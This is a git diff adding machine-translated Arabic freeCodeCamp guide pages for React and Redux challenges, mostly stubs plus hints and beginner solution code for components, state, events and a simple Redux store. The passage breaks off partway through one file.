diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
new file mode 100644
index 0000000000..25771b741c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to the Messages App
+localeTitle: قم بتوصيل Redux إلى تطبيق الرسائل
+---
+## قم بتوصيل Redux إلى تطبيق الرسائل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
new file mode 100644
index 0000000000..9f9248a11b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Extract Local State into Redux
+localeTitle: استخراج الدولة المحلية في Redux
+---
+## استخراج الدولة المحلية في Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
new file mode 100644
index 0000000000..7601c18d49
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
@@ -0,0 +1,35 @@
+---
+title: Extract State Logic to Redux
+localeTitle: استخراج الدولة المنطق إلى Redux
+---
+## استخراج الدولة المنطق إلى Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+الحل المقترح:
+
+ `const ADD = 'ADD'; 
+ 
+ function addMessage(message) { 
+  return { 
+    type: ADD, 
+    message: message 
+  }; 
+ }; 
+ 
+ function messageReducer (previousState, action) { 
+  return [...previousState, action.message]; 
+ } 
+ 
+ let store = { 
+  state: [], 
+  getState: () => store.state, 
+  dispatch: (action) => { 
+    if (action.type === ADD) { 
+      store.state = messageReducer(store.state, action); 
+    } 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
new file mode 100644
index 0000000000..3a0ab577b5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Getting Started with React Redux
+localeTitle: الابتداء مع React Redux
+---
+## الابتداء مع React Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/index.md
new file mode 100644
index 0000000000..7455e5445a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/index.md
@@ -0,0 +1,11 @@
+---
+title: React and Redux
+localeTitle: رد و Redux
+---
+## رد و Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
new file mode 100644
index 0000000000..a89abe9f76
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage State Locally First
+localeTitle: إدارة الدولة محليا أولا
+---
+## إدارة الدولة محليا أولا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
new file mode 100644
index 0000000000..d20157ecc2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Dispatch to Props
+localeTitle: خريطة إرسال إلى الدعائم
+---
+## خريطة إرسال إلى الدعائم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
new file mode 100644
index 0000000000..e4d584825e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map State to Props
+localeTitle: خريطة الدولة إلى الدعائم
+---
+## خريطة الدولة إلى الدعائم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
new file mode 100644
index 0000000000..4881bdcd2f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
@@ -0,0 +1,9 @@
+---
+title: Moving Forward From Here
+localeTitle: المضي قدما من هنا
+---
+## المضي قدما من هنا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
new file mode 100644
index 0000000000..ed27542988
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Provider to Connect Redux to React
+localeTitle: استخدام موفر لتوصيل Redux بالرد
+---
+## استخدام موفر لتوصيل Redux بالرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/access-props-using-this-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/access-props-using-this-props/index.md
new file mode 100644
index 0000000000..4a6b4561b3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/access-props-using-this-props/index.md
@@ -0,0 +1,18 @@
+---
+title: Access Props Using this.props
+localeTitle: وصول الدعائم باستخدام هذا. المحاصيل
+---
+## \## Access Props باستخدام هذا .props
+
+للحصول على هذا الحل ، يجب أن تتذكر أولاً كيفية إضافة الأدوات الدعائية إلى المكون الرئيسي:
+
+\`\` \`JSX
+
+ `Once you have the prop set, you can use this.props in your child component. 
+` 
+
+أتش تي أم أل
+
+كلمة المرور المؤقتة هي: **{this.props.tempPassword}**
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/add-comments-in-jsx/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
new file mode 100644
index 0000000000..7aebb4820f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
@@ -0,0 +1,26 @@
+---
+title: Add Comments in JSX
+localeTitle: أضف تعليقات في JSX
+---
+## أضف تعليقات في JSX
+
+يمكنك التعليق كما اعتدت القيام به مع كتل التعليمات البرمجية في جافا سكريبت `/* some JS code */` ولكنها تحتاج إلى ملفوفة بواسطة الأقواس المتعرجة لإضافة تعليقات في JSX: فمثلا:
+
+*   تعليق سطر واحد:
+
+ `{/*<h1>Hanoi University of Science</h1>*/} 
+` 
+
+*   تعليقات متعددة الخطوط:
+
+ `{/* 
+ <h1>Hanoi University of Science</h1> 
+ <p>Falculty of Mathematics, Mechanics and Informatics</p> 
+ */} 
+` 
+
+ملاحظة: لا يمكنك استخدام تعليق HTML في JSX على النحو التالي:
+
+ `
+<!-- not working --> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/add-event-listeners/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/add-event-listeners/index.md
new file mode 100644
index 0000000000..4d31ffca82
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/add-event-listeners/index.md
@@ -0,0 +1,52 @@
+---
+title: Add Event Listeners
+localeTitle: اضافة المستمعين الحدث
+---
+## اضافة المستمعين الحدث
+
+يقوم هذا التحدي بتعديل مكونين من أساليب دورة الحياة componentDidMount و componentWillUnmount. يمكنك استخدام componentDidMount عندما تريد تعيين شيء ما ، في حالتك ، مستمع الحدث. يمكنك استخدام componentWillUnmount عندما تحتاج إلى مسح هذا شيء ، مستمع الحدث الخاص بك.
+
+ستضيف مستمع حدث إلى طريقة componentDidMount التي ستستمع إلى حدث "keydown". استخدم document.addEventListener (حدث ، وظيفة ، اختياري (useCapture)). ثم قم بإزالة وحدة إصغاء الحدث نفسها بتمرير نفس الوسيطات إلى document.removeEventListener (حدث ، دالة ، اختياري (useCapture)) داخل methodwillUnmount method.
+
+ملاحظة: document.addEventListener و document.removeEventListener سوف يأخذ في سلسلة مقتبسة عن الحدث الخاص به ، وعند تمريره في الدالة ، ستشير إليه handleKeyPress () باسم this.handleKeyPress. إذا قمت باستدعاء الدالة على هذا .handleKeyPress () ، سيقوم مستمع الحدث بتقييم الدالة أولاً وسيعيد قيمة غير معرفة.
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: '' 
+    }; 
+    this.handleEnter = this.handleEnter.bind(this); 
+    this.handleKeyPress = this.handleKeyPress.bind(this); 
+  } 
+  // change code below this line 
+  componentDidMount() { 
+    document.addEventListener("keydown", this.handleKeyPress) 
+  } 
+  componentWillUnmount() { 
+    document.removeEventListener("keydown", this.handleKeyPress) 
+  } 
+  // change code above this line 
+  handleEnter() { 
+    this.setState({ 
+      message: this.state.message + 'You pressed the enter key! ' 
+    }); 
+  } 
+  handleKeyPress(event) { 
+    if (event.keyCode === 13) { 
+      this.handleEnter(); 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.message}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+### مصادر
+
+[React Components](https://reactjs.org/docs/react-component.html) ، [دورات الحياة الشائعة](http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) ، [الدولة ودورات الحياة](https://reactjs.org/docs/state-and-lifecycle.html) ، [document.addEventListener](https://www.w3schools.com/jsref/met_document_addeventlistener.asp) ، [أحداث HTML DOM](https://www.w3schools.com/jsref/dom_obj_event.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
new file mode 100644
index 0000000000..68c207fcf7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
@@ -0,0 +1,24 @@
+---
+title: Add Inline Styles in React
+localeTitle: إضافة أنماط مضمنة في React
+---
+## إضافة أنماط مضمنة في React
+
+يمكنك تعريف نمط مكون تمرير الكائن مباشرة كـ "نمط" prop. فقط تذكر أن كل خاصية من كائن النمط هي camelcased. لذا ، تُعلن الخصائص مثل "font-size" بأنها "fontSize" لتكون خاصية كائن جافا سكريبت صالحة.
+
+### المفسد
+
+ `class Colorful extends React.Component { 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div style={{color: "yellow", fontSize: 24}}>Style Me!</div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+` 
+
+### مصادر
+
+[DOM Elements Style](https://reactjs.org/docs/dom-elements.html#style)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
new file mode 100644
index 0000000000..07992ad32a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
@@ -0,0 +1,52 @@
+---
+title: Bind 'this' to a Class Method
+localeTitle: ربط "هذا" لطريقة Class
+---
+## ربط "هذا" لطريقة Class
+
+إذا كانت هناك طريقة في `class` جافا سكريبت تحتاج إلى الوصول إلى بعض `state` الداخلية للمثيل ، مثل هذه `this.state` ، فإن الطريقة تحتاج إلى الالتزام بمثيل `class` . يمكن العثور [هنا](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md) على وصف أكثر تفصيلاً لهذا الرابط
+
+### تلميح 1
+
+مثل العديد من الأشياء في البرمجة ، هناك أكثر من طريقة لربط هذا. من أجل هذا التحدي ، سنلتزم بالربط مع المُنشئ.
+
+ `class MyClass { 
+  constructor() { 
+    this.myMethod = this.myMethod.bind(this); 
+  } 
+ 
+  myMethod() { 
+    // whatever myMethod does 
+  } 
+ } 
+` 
+
+## المفسد
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      itemCount: 0 
+    }; 
+    // change code below this line 
+    this.addItem = this.addItem.bind(this); 
+    // change code above this line 
+  } 
+  addItem() { 
+    this.setState({ 
+      itemCount: this.state.itemCount + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <button onClick={this.addItem}>Click Me</button> 
+        { /* change code above this line */ } 
+        <h1>Current Item Count: {this.state.itemCount}</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
new file mode 100644
index 0000000000..0c2217b549
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
@@ -0,0 +1,65 @@
+---
+title: Change Inline CSS Conditionally Based on Component State
+localeTitle: تغيير CSS المضمنة بناء على حالة المكون
+---
+## تغيير CSS المضمنة بناء على حالة المكون
+
+## تلميح 1:
+
+ستقوم بالتحقق من طول هذا `this.state.input` بحيث تستخدم خاصية `.length` .
+
+ `this.state.input.length 
+` 
+
+## تلميح 2:
+
+أنت تقوم بإدخال التعليمات البرمجية قبل بيان الإرجاع حتى يمكنك استخدام جافا سكريبت خالص `if/then` بيان.
+
+## حل:
+
+ستستخدم عبارة `if/then` للتحقق من قيمة هذا `this.state.input.length` . إذا كان أطول من 15 ، `inputStyle.border` `'3px solid red'` إلى `inputStyle.border` .
+
+ `class GateKeeper extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      input: '' 
+    }; 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ input: event.target.value }) 
+  } 
+  render() { 
+    let inputStyle = { 
+      border: '1px solid black' 
+    }; 
+    // change code below this line 
+    if (this.state.input.length > 15) { 
+      inputStyle.border = '3px solid red'; 
+    } 
+    // change code above this line 
+    return ( 
+      <div> 
+        <h3>Don't Type Too Much:</h3> 
+        <input 
+          type="text" 
+          style={inputStyle} 
+          value={this.state.input} 
+          onChange={this.handleChange} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+## حل
+
+اكتب عبارة شرطية يتم تقييمها وفقًا لحالتك ، كما هو مذكور في وصف التحدي ، وتتحقق من طول الإدخال وتعين كائنًا جديدًا لمتغير inputStyle.
+
+ `if (this.state.input.length > 15) { 
+  inputStyle = { 
+    border: '3px solid red' 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/compose-react-components/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/compose-react-components/index.md
new file mode 100644
index 0000000000..4ceb3f3fe4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/compose-react-components/index.md
@@ -0,0 +1,48 @@
+---
+title: Compose React Components
+localeTitle: تأليف React Components
+---
+## تأليف React Components
+
+### ملحوظة
+
+استخدام المكونات المتداخلة كما في challemge السابقة لتقديم المكونات.
+
+### حل
+
+ما يلي هو الحل لل chakkenge ، حيث تجعل الحمضيات و NonCitrus في مكون ثم يتم تقديمها في آخر:
+
+ `class Fruits extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h2>Fruits:</h2> 
+        <NonCitrus /> 
+        <Citrus /> 
+      </div> 
+    ); 
+  } 
+ }; 
+ 
+ class TypesOfFood extends React.Component { 
+  constructor(props) { 
+     super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <Fruits /> 
+        <Vegetables /> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+### روابط ذات صلة:
+
+*   [المكونات والدعائم](https://reactjs.org/docs/components-and-props.html)
+*   [المكونات المتداخلة](http://www.reactjstutorial.net/nested-components.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
new file mode 100644
index 0000000000..969a555f71
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
@@ -0,0 +1,19 @@
+---
+title: Create a Complex JSX Element
+localeTitle: إنشاء عنصر JSX معقد
+---
+## إنشاء عنصر JSX معقد
+
+ملحوظة:
+
+ `
+const JSX = <div> 
+  <h1>Heading.</h1> 
+  <p>Paragraph</p> 
+ <ul> 
+  <li>Coffee</li> 
+  <li>Tea</li> 
+  <li>Milk</li> 
+ </ul> 
+ </div>; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-component-with-composition/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
new file mode 100644
index 0000000000..f896c5c24d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
@@ -0,0 +1,36 @@
+---
+title: Create a Component with Composition
+localeTitle: إنشاء مكون مع التركيب
+---
+## إنشاء مكون مع التركيب
+
+### تلميح 1
+
+أضف المكون المراد تقديمه في المكون الذي سيتم عرضه فيه.
+
+### تلميح 2
+
+استخدم علامات إغلاق JSX ذاتية.
+
+### تلميح 3
+
+المكون الذي سيتم تقديمه هو ChildComponenet ثم يتم تقديمه في ParentComponent
+
+### حل
+
+سوف يقدم التالية في ChildComponent في ParentComponent ، كما هو مطلوب:
+
+ `class ParentComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>I am the parent</h1> 
+        <ChildComponent /> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-form/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-form/index.md
new file mode 100644
index 0000000000..794898901d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-form/index.md
@@ -0,0 +1,30 @@
+---
+title: Create a Controlled Form
+localeTitle: إنشاء نموذج التحكم
+---
+## إنشاء نموذج التحكم
+
+إن إنشاء نموذج خاضع للتحكم هو نفس العملية مثل إنشاء مدخلات خاضعة للتحكم ، باستثناء أنك تحتاج إلى معالجة حدث إرسال.
+
+أولاً ، قم بإنشاء إدخال خاضع للتحكم يخزن قيمته في الحالة ، بحيث يكون هناك مصدر واحد للحقيقة. (هذا ما فعلته في التحدي السابق.) قم بإنشاء عنصر إدخال ، وقم بتعيين سمة القيمة الخاصة به إلى متغير الدخل الموجود في الحالة. تذكر ، يمكن الوصول إلى حالة من خلال `this.state` . بعد ذلك ، قم بتعيين سمة `onChange` لعنصر الإدخال لاستدعاء الدالة "handleChange".
+
+### حل
+
+ `<input value={this.state.input} onChange={this.handleChange}/> 
+` 
+
+بعد ذلك ، قم بإنشاء أسلوب handleSubmit للمكون الخاص بك. أولاً ، لأن إرسال النموذج الخاص بك يجب عليك منع تحديث الصفحة. ثانيا ، استدعاء الأسلوب `setState()` ، تمرير كائن من أزواج key-value مختلفة التي تريد تغييرها. في هذه الحالة ، تريد تعيين "إرسال" إلى قيمة المتغير "الإدخال" وتعيين "الإدخال" إلى سلسلة فارغة.
+
+ `handleSubmit(event) { 
+  event.preventDefault(); 
+  this.setState({ 
+    input: '', 
+    submit: this.state.input 
+  }); 
+ } 
+` 
+
+والآن بعد أن يتم التعامل مع بياناتك في الحالة ، يمكننا استخدام هذه البيانات. قم بإنشاء عنصر `h1` . داخل عنصر `h1` ضع متغير "إرسال" الخاص بك. تذكر أن "submit" يقع داخل الولاية لذا ستحتاج إلى استخدام هذا `this.state` . بالإضافة إلى ذلك ، يتطلب وضع المتغير داخل JSX أقواسًا متعرجة `{ }` لأنها جافا سكريبت.
+
+ `<h1>{this.state.submit}</h1> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-input/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-input/index.md
new file mode 100644
index 0000000000..ca57a21b0d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-controlled-input/index.md
@@ -0,0 +1,35 @@
+---
+title: Create a Controlled Input
+localeTitle: إنشاء مدخلات متحكم بها
+---
+## إنشاء مدخلات متحكم بها
+
+الفكرة هنا هي إنشاء مدخلات متحكم بها حيث يتم تحديث النص من حالتك ، وليس من المتصفح.
+
+حتى نبدأ به لدينا هيكل عظمي لدينا فئة تسمى `ControlledInput` ومتغير حالة يدعى `input` . الآن كل ما عليك القيام به هو أخذ تلك الحالة وعندما يتم ملاحظة حدوث تغيير في مربع الإدخال ، يتم تشغيل دالة تغير القيمة داخل مربع الإدخال هذا وفي الفقرة أدناه.
+
+لذلك أنت الخطوة الأولى سوف يجعل وظيفة يقوم بتغيير المتغير الدولة `input` .
+
+ `handleChange(event) { 
+    this.setState({ 
+      input: event.target.value 
+    }); 
+ } 
+` 
+
+ستشمل خطوتك التالية إنشاء مربع إدخال وتشغيله عند كتابة أي شخص لأي شيء. لحسن الحظ لدينا حدث يسمى `onChange()` لخدمة هذا الغرض. PS - وهنا طريقة أخرى لربط `this` في وظيفة
+
+ `<input onChange = {this.handleChange.bind(this)}/> 
+` 
+
+لكن هذا لن يخدم هدفك. على الرغم من أنك قد تشعر أن عملها. إذن ما يحدث هنا هو تحديثات النص من المتصفح وليس الدولة. لذا ، لتصحيح ذلك ، سنضيف سمة `value` `this.state.input` على `this.state.input` لعنصر الإدخال الذي سيجعل الإدخال يتحكم في الحالة.
+
+ `<input value = {this.state.input} onChange = {this.handleChange.bind(this)}/> 
+` 
+
+يمكن أن يكون من الصعب جدًا استيعابها ولكن لجعل الأمور أكثر وضوحًا ، جرّب إزالة أمر `onChange` بأكمله حتى تبدو الشفرة مثل هذا
+
+ `<input value = {this.state.input}/> 
+` 
+
+الآن قم بتشغيل الاختبارات مرة أخرى هل أنت قادر على كتابة أي شيء؟ سيكون الجواب عليه "لا" لأن مربع الإدخال الخاص بك يحصل على قيمة من `input` متغير الحالة حيث لا يوجد تغيير في `input` الحالة (سلسلة فارغة مبدئياً) والذي سيحدث فقط عندما تقوم بتشغيل الدالة `handleChange()` والتي سوف يحدث فقط عندما يكون لديك معالج حدث مثل `onChange()` ومن ثم ستظل السلسلة داخل مربع الإدخال كما هي ، أي سلسلة فارغة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-react-component/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-react-component/index.md
new file mode 100644
index 0000000000..6ab4014401
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-react-component/index.md
@@ -0,0 +1,31 @@
+---
+title: Create a React Component
+localeTitle: إنشاء مكون React
+---
+## إنشاء مكون React
+
+## تلميح 1:
+
+*   ستشاهد هذه المكونات التفاعلية React Class Components طوال الوقت ، لذا سيكون الآن وقتًا رائعًا للراحة معهم. تذكر في هذا التمرين أنك لا تحتاج إلى تحديد المكوّن ، فأنت تحتاج فقط إلى جعل وظيفة ترجع html قليلاً بين السطور المميزة.
+*   تذكر المقطع السابق وإرجاع عنصر "div" الذي يحتوي على "h1" مع النص Hello React !.
+*   يحتوي عنصر "div" على طفل لذلك تذكر إغلاق جميع العلامات.
+
+## حل
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div> 
+       <h1>Hello React!</h1> 
+      </div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+` 
+
+لاحظ أنك لا تحتاج إلى وضع علامات اقتباس حول النص ، لأنه عندما تعمل مع JSX يتم التعامل معه على أنه HTML. تحقق أيضًا من صحة التهجئة والحالة وعلامات الترقيم! إذا كان كل هذا التعليمة البرمجية يبدو غريبا ، اذهب إلى الاطلاع على بعض المواد الرائعة الموجودة على Javascript ES6 هنا على freeCodeCamp.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
new file mode 100644
index 0000000000..a000e44834
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a Simple JSX Element
+localeTitle: إنشاء عنصر بسيط JSX
+---
+## إنشاء عنصر بسيط JSX
+
+هذا التحدي بسيط إلى حد ما ، واستبدل div في عنصر JSX مع h1 `javascript const JSX=<h1></h1>;` ثم أضف النص المطلوب. `javascript const JSX = <h1>Hello JSX!</h1>;`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateful-component/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateful-component/index.md
new file mode 100644
index 0000000000..8e42a64b27
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateful-component/index.md
@@ -0,0 +1,46 @@
+---
+title: Create a Stateful Component
+localeTitle: إنشاء مكون Stateful
+---
+## إنشاء مكون Stateful
+
+#### تلميح 1:
+
+ `class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+        // "This" area may be a good place to use "dot" notation. 
+        // dont forget to describe "name" property inside the state and assign your name to a property of "name". 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+## حل
+
+ `class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+ 
+    this.state = { 
+      name : "Name" 
+    } 
+ 
+  } 
+  render() { 
+    return ( 
+      <div> 
